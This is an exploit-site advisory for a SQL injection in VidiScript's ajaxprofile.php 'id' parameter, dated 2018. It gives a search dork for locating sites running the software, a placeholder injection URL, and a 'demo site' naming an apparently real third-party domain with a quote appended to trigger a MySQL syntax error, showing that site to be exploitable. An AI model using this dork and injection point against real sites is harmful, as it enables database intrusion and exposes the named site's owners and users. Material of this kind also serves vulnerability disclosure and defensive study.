VidiScript Sql Injection Vulnerability

======================================
VidiScript Sql Injection Vulnerability
======================================


####################################
[+] Title: VidiScript  Sql Injection Vulnerability
[+] Software Link:  http://www.4shared.com/file/0be1Uy6j/vidiscript.htm
[+] Where : From Remote
####################################


<<->> D0rk    : Powered by : VidiScript

<<->> Exploit :
                 [~]ExPl0iT : http://127.0.0.1/ajaxprofile.php?id=1[SQL-injection]


<<->> D3M0 S!T3 : http://www.adangerouscult.com/video/ajaxprofile.php?id=1'    <= You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'OR friend.friendid =) AND (username!='') AND friend.friend_removed=0 AND friend.' at line 1



#  0day.today [2018-01-05]  #